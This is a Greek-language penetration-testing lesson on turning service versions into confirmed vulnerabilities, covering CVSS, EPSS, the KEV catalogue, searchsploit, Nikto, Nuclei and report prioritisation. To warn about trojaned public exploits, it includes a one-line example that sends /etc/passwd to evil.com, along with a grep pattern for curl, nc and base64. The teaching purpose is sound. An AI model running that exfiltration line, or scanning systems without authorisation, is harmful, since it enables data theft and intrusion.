Skip to main content

Αναζήτηση ευπαθειών — Έννοιες

Έχετε τη λίστα υπηρεσιών και τις εκδόσεις τους. Δεν γνωρίζετε ακόμη τα ελαττώματα. Αυτή την εβδομάδα, μετατρέπουμε μια έκδοση σε ίχνος εκμετάλλευσης. Είναι ο μεντεσές του pentest: χωρίς αυτόν, σαρώνουμε επ' αόριστον. Με αυτόν, χτυπάμε.

Υπενθύμιση

Κάθε επιβεβαίωση ευπάθειας στέλνει κάτι στον στόχο. Παραμένουμε αυστηρά μέσα στο RoE. Σε δημόσιους στόχους, δεν προχωράμε πέρα από την ελάχιστη απόδειξη (μην κάνετε dump τη βάση απλώς για ευχαρίστηση).

Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα​

  • Να διαβάζετε σωστά μια καρτέλα CVE και να κατανοείτε γιατί το σκορ CVSS μόνο του λέει ψέματα.
  • Να χρησιμοποιείτε EPSS και KEV για να ιεραρχείτε πέρα από το CVSS.
  • Να αλυσιδώνετε NVD → Exploit-DB → GitHub → Twitter/Mastodon με τη σωστή σειρά.
  • Να ερμηνεύετε τα αποτελέσματα του Nikto και του Nuclei χωρίς να πνιγείτε στα ψευδώς θετικά.
  • Να περνάτε από μια υπόθεση («το Apache 2.4.49 είναι ευάλωτο») σε μια απόδειξη («σε αυτό το ακριβές URL, ανέκτησα το /etc/passwd»).
  • Να παράγετε έναν ιεραρχημένο πίνακα ευπαθειών, έτοιμο για εκμετάλλευση.

1. Η ευπάθεια, το CVE, το POC, το exploit​

Τέσσερις λέξεις. Μπερδεμένες συνέχεια. Καθορίστε τις μία για πάντα.

ΛέξηΤι είναι
ΕυπάθειαΗ ίδια η αδυναμία (ένα κομμάτι κώδικα, μια ρύθμιση). Ένα τεχνικό γεγονός.
CVEΈνα μοναδικό αναγνωριστικό που αποδίδεται σε μια ευπάθεια (π.χ. CVE-2021-41773). Τίποτα άλλο.
POC (Proof of Concept)Ένα ελάχιστο παράδειγμα που πυροδοτεί την ευπάθεια, συχνά λίγες γραμμές.
ExploitΈνα ολοκληρωμένο εργαλείο που χρησιμοποιεί την ευπάθεια για ένα χρήσιμο αποτέλεσμα (shell, RCE, εξαγωγή).

Ένα CVE μπορεί να υπάρχει επί 5 χρόνια χωρίς δημόσιο POC — σε αυτή την περίπτωση, κανείς δεν ξέρει πραγματικά πώς να το εκμεταλλευτεί στην πράξη. Αντίστροφα, ένα exploit μπορεί να κυκλοφορεί πριν την επίσημη απόδοση ενός CVE (zero-day).

Για έναν pentester: CVE + POC + exploit = συγκεκριμένο ίχνος. CVE μόνο του = θεωρητικό ίχνος.


2. Το σκορ CVSS — η παγίδα των σκορ εκτός πλαισίου​

Το CVSS (Common Vulnerability Scoring System) δίνει έναν αριθμό μεταξύ 0 και 10 σε κάθε ευπάθεια. Όλοι το κοιτάζουν. Σχεδόν όλοι το διαβάζουν λάθος.

Τρία διανύσματα CVSS συνυπάρχουν:

  • CVSS Base — η θεωρητική βαθμολογία, χωρίς να λαμβάνει υπόψη το περιβάλλον σας. Αυτή επιστρέφει το Google.
  • CVSS Temporal — προσαρμοσμένη ανάλογα με το αν υπάρχει POC, αν διατίθεται patch.
  • CVSS Environmental — προσαρμοσμένη ανάλογα με το δικό σας πλαίσιο: είναι η υπηρεσία εκτεθειμένη, επεξεργάζεται κρίσιμα δεδομένα;

Ένα CVSS Base 9.8 σε μια εσωτερική υπηρεσία, φιλτραρισμένη, διορθωμένη σε 2 ώρες = CVSS Environmental 4.2.

Ένα CVSS Base 6.5 σε μια εφαρμογή εκτεθειμένη στο Internet, μη διορθωμένη εδώ και 2 χρόνια, με ένα τετριμμένο δημόσιο exploit = CVSS Environmental 9.6 στην πράξη.

Μην ταξινομείτε τα ευρήματά σας με το CVSS Base. Επαναϋπολογίστε με το χέρι με το πλαίσιο του πελάτη.


3. EPSS — η πιθανότητα να εκμεταλλευτεί πραγματικά​

EPSS (Exploit Prediction Scoring System): μια πιθανότητα, μεταξύ 0 και 1, ότι η ευπάθεια θα εκμεταλλευτεί τις επόμενες 30 ημέρες. Υπολογισμένη από πραγματικές παρατηρήσεις (honeypots, αισθητήρες Internet).

EPSSΕρμηνεία
< 0.01Ξεχασμένη ευπάθεια, κανένα exploit σε κυκλοφορία.
0.01 - 0.10Σπάνιο αλλά πιθανό.
0.10 - 0.50Μέτριο, διαθέσιμο exploit, πιθανή στόχευση.
> 0.50Ισχυρό. Βλέπουμε το exploit να κυκλοφορεί ενεργά.
> 0.90Θα έπρεπε ήδη να έχετε διορθώσει.

Επίσημος ιστότοπος: www.first.org/epss.

Το EPSS συμπληρώνει το CVSS. Ένα CVSS 7.5 + EPSS 0.9 είναι πιο επείγον από ένα CVSS 9.8 + EPSS 0.001.


4. KEV (CISA) — η απόλυτη επείγουσα κατάσταση​

Η CISA (αμερικανική υπηρεσία κυβερνοασφάλειας) τηρεί το KEV (Known Exploited Vulnerabilities Catalog). Ένα CVE παρόν στο KEV σημαίνει «ενεργά εκμεταλλευόμενο στην πράξη».

Ιστότοπος: www.cisa.gov/known-exploited-vulnerabilities-catalog.

Για έναν pentester: ένα CVE KEV στον πελάτη σας είναι άμεση προτεραιότητα 1. Δεν ζητάτε άδεια, καλείτε επειγόντως τον πελάτη αν το επιβεβαιώσετε κατά τη διάρκεια της δοκιμής.


5. Η τυπική διαδρομή για την ταξινόμηση ενός CVE​

Μια αναπαραγώγιμη μέθοδος σε 6 βήματα. Μην παραλείψετε βήμα.

Βήμα 1 — Επαλήθευση της έκδοσης​

Ο scanner είπε Apache 2.4.49. Είναι σχεδόν πάντα αλήθεια — εκτός από τις διανομές που backportάρουν ένα patch χωρίς να αλλάξουν τον αριθμό έκδοσης. Το Debian/Ubuntu συχνά προσθέτει -ubuntuX: το Apache/2.4.49-1ubuntu5.3 μπορεί να είναι διορθωμένο ενώ το Apache/2.4.49 vanilla δεν είναι.

Επαλήθευση:

# Σε εσωτερικό pentest, αν έχετε shell: dpkg -l apache2 ή rpm -qi httpd
# Εξωτερικά, σε black box: δοκιμάστε το POC. Αν λειτουργεί, είναι εντάξει.

Βήμα 2 — Ερώτηση στο NVD​

nvd.nist.gov — το επίσημο αποθετήριο. Κάθε CVE έχει εκεί μια καρτέλα με CVSS, περιγραφή, αναφορές, σχετικά προϊόντα.

Βήμα 3 — Αναζήτηση POC ή exploit​

Με τη σειρά:

  1. Exploit-DB: η ιστορική βάση. Αναζήτηση κατά προϊόν / έκδοση / CVE.
  2. GitHub search: τα πιο πρόσφατα POC συχνά εμφανίζονται πρώτα στο GitHub.
  3. Twitter / Mastodon (μέσω ερευνητών infosec): τα zero-day και οι νέες τεχνικές περνούν πρώτα εδώ.
  4. Blog ερευνητών: Rapid7, PortSwigger, Watchtowr, Assetnote. Συχνά μια εξήγηση + αναλυτικό POC.

Στο Kali, το searchsploit ερωτά ένα τοπικό αντίγραφο του Exploit-DB, ενημερωμένο:

searchsploit "Apache 2.4.49"
searchsploit -m linux/webapps/50383.py # φέρνει ένα exploit τοπικά

Βήμα 4 — Ανάγνωση του exploit πριν την εκτέλεση​

ΠΟΤΕ μην εκτελείτε ένα exploit που βρήκατε στο Internet χωρίς να το διαβάσετε πρώτα.

Δύο λόγοι:

  • Ορισμένα δημόσια exploit περιέχουν backdoor που στοχεύουν αρχάριους. Ένα import requests; requests.post('http://evil.com', data=open('/etc/passwd').read()) κρυμμένο στο script κλέβει τα δικά σας δεδομένα.
  • Ένα exploit μπορεί να είναι καταστροφικό (format, ακούσιο DoS). Δεν είστε στο RoE γι' αυτό.

Περάστε κάθε exploit από το grep -i "eval\|exec\|base64\|http\|curl\|nc " πριν το εκτελέσετε.

Βήμα 5 — Προσαρμογή στον στόχο​

Ένα δημόσιο POC συχνά χρησιμοποιεί γενικά μονοπάτια ή παραμέτρους. Ο στόχος μπορεί να έχει μετονομάσει το endpoint του, αλλάξει τη θύρα του, τροποποιήσει την κεφαλίδα Host. Προσαρμόστε πριν κατηγορήσετε το exploit.

Βήμα 6 — Καθαρή αναπαραγωγή​

Τρία στοιχεία ελάχιστο στις αποδείξεις σας:

  • Το αίτημα που στάλθηκε (curl -v καταγεγραμμένο, ή Burp raw request).
  • Η παρατηρηθείσα απάντηση (αποκαλυπτικό απόσπασμα).
  • Ένα screenshot ή ένα αρχείο εξόδου που ο πελάτης μπορεί να επαληθεύσει.

Χωρίς αυτά τα τρία στοιχεία, η ευπάθεια δεν είναι διαπιστωμένη, είναι υποψιαζόμενη.


6. Nikto — ο πρόγονος σαρωτής web​

Το nikto ερωτά μια εφαρμογή web με αρκετές χιλιάδες δοκιμές. Ισχυρό, φλύαρο, γεμάτο ψευδώς θετικά.

nikto -h https://cible.com -Format txt -o rapports/nikto-cible.txt

Τι κάνει καλά:

  • Εντοπισμός ξεχασμένων αρχείων (.git/config, phpinfo.php, backup.tgz).
  • Εντοπισμός banners έκδοσης.
  • Εντοπισμός επικίνδυνων ρυθμίσεων (επικίνδυνες μέθοδοι HTTP, ελλείπουσες κεφαλίδες).

Τι κάνει άσχημα:

  • Επαναλαμβανόμενα ψευδώς θετικά στα σύγχρονα frameworks που επιστρέφουν 200 OK για τα πάντα.
  • Θορυβώδες — ένα πλήρες nikto είναι αρκετές χιλιάδες αιτήματα.
  • Δεν ακολουθεί εφαρμοσμένες ανακατευθύνσεις — χάνει πράγματα.

Τυπική χρήση: γρήγορο πέρασμα, φιλτράρουμε τα πραγματικά ευρήματα με το χέρι.


7. Nuclei — ο σύγχρονος σαρωτής, προσανατολισμένος σε templates​

Το nuclei (από την ProjectDiscovery) φορτώνει templates YAML που περιγράφουν μια ευπάθεια και την υπογραφή της. Ενεργή κοινότητα, χιλιάδες templates.

# Templates τύπου CVE και έκθεσης, σοβαρότητα υψηλή και κρίσιμη
nuclei -u https://cible.com -tags cve,exposure -severity high,critical

# Στοχευμένο σε συγκεκριμένο CVE
nuclei -u https://cible.com -t http/cves/2021/CVE-2021-41773.yaml

Δυνατά σημεία:

  • Σπάνια ψευδώς θετικά (τα templates γράφονται για να ταιριάζουν ακριβώς).
  • Γρήγορο (multi-threaded, HTTP/2).
  • Συνεχής ενημέρωση από την κοινότητα.

Αδύναμα σημεία:

  • Δεν αντικαθιστά ένα pentest — βρίσκει ό,τι γνωρίζει.
  • Μπορεί να προκαλέσει θόρυβο σε έναν στόχο αν δεν φιλτράρετε τα tags.

Καλή πρακτική: -tags cve,exposure για ανακάλυψη, μετά στοχευμένα templates μόλις υπάρχει ίχνος.


8. Οι σαρωτές εφαρμογών (επισκόπηση)​

Σε αυτό το στάδιο, δεν αντικαθιστούμε ένα pentest με έναν scanner. Αλλά γνωρίζουμε τι προσφέρει ο καθένας:

ΕργαλείοΤομέαςΔύναμη
Nessus / OpenVASΔίκτυο, VM, hostsΜαζική απογραφή, ενημερωμένες βάσεις CVE.
NiktoWeb (γενικό)Ξεχασμένα αρχεία, banners.
NucleiWeb (templates)Στοχευμένος εντοπισμός CVE.
Burp Suite (Scanner Pro)Web (εφαρμοσμένο)Το καλύτερο για ευπάθειες OWASP Top 10.
TrivyΕικόνες Docker, εξαρτήσειςCVE στα packages.
kube-hunterKubernetesΕσωτερικές σαρώσεις clusters.

Σε ένα σοβαρό pentest, χρησιμοποιούμε τουλάχιστον δύο διαφορετικούς scanners και διασταυρώνουμε.


9. Η ιεράρχηση — μην παραδώσετε μια επίπεδη λίστα​

Μια αναφορά με 200 μη ιεραρχημένες γραμμές είναι άχρηστη. Ομαδοποιήστε.

ΠροτεραιότηταΚριτήρια
P1 — ΚρίσιμηΕκμεταλλεύσιμη χωρίς αυθεντικοποίηση + δημόσια εκτεθειμένη + KEV ή δημόσιο POC.
P2 — ΥψηλήΕκμεταλλεύσιμη με τυπικό λογαριασμό + πρόσβαση σε ευαίσθητα δεδομένα.
P3 — ΜέτριαΕκμεταλλεύσιμη υπό σπάνιες συνθήκες, περιορισμένος αντίκτυπος.
P4 — Χαμηλή / ΡύθμισηΣφάλμα ρύθμισης, υγιεινή, προς διόρθωση χωρίς επείγον.

Κάθε γραμμή της αναφοράς φέρει:

  • Τον σύντομο τίτλο.
  • Την προτεραιότητα.
  • Το CVSS Base και το επαναϋπολογισμένο περιβαλλοντικό σας CVSS.
  • Το EPSS αν είναι γνωστό.
  • Αν υπάρχει στο KEV (ναι/όχι).
  • Την απόδειξη (URL, αίτημα, απάντηση).
  • Τη σύσταση (patch, ρύθμιση, μετριασμός).

10. Τα λάθη που σκοτώνουν την αξιοπιστία​

  • Αναφορά μόνο CVSS Base. Ο πελάτης θα δει αμέσως ότι δεν κάνατε επαναδιαμόρφωση με βάση το πλαίσιο.
  • Αντιγραφή-επικόλληση της καρτέλας NVD. Ο πελάτης ξέρει να διαβάζει το NVD. Σας πληρώνει για το πλαίσιο.
  • Ευπάθεια χωρίς αναπαραγώγιμη απόδειξη. «Η υπηρεσία είναι ευάλωτη στο CVE-2021-XXXX» χωρίς αίτημα/απάντηση — ο RSSI δεν μπορεί να κάνει τίποτα με αυτό.
  • Ψευδώς θετικά του Nikto που έμειναν στην αναφορά. Ένα μόνο ψευδώς θετικό απαξιώνει ολόκληρη την αναφορά.
  • Προτεραιότητα P1 από υπερβολή. Αν όλα είναι P1, τίποτα πια δεν είναι P1.
  • Αγνοώντας τις αλυσιδωτές ευπάθειες. Δύο P3 που αλυσιδώνονται συχνά αξίζουν όσο ένα P1. Επισημάνετε την αλυσίδα.

11. Τι πρέπει να συγκρατήσετε​

  • Ευπάθεια, CVE, POC, exploit: τέσσερα διακριτά πράγματα.
  • Το CVSS Base λέει ψέματα εκτός πλαισίου. Το CVSS Environmental και το EPSS + KEV ιεραρχούν σωστά.
  • Το πέρασμα από έκδοση σε ελάττωμα ακολουθεί 6 βήματα: έκδοση → NVD → POC → ανάγνωση του POC → προσαρμογή → απόδειξη.
  • Το Nikto και το Nuclei είναι συμπληρωματικά. Κανένα δεν αντικαθιστά την ανθρώπινη ματιά.
  • Η αναφορά είναι ιεραρχημένη, όχι επίπεδη. Κάθε γραμμή έχει απόδειξη και σύσταση.

Επόμενο μάθημα: ταξινομούμε τις ευπάθειες των δύο μας Metasploitable — και ρίχνουμε δύο, χωρίς Metasploit, με το χέρι.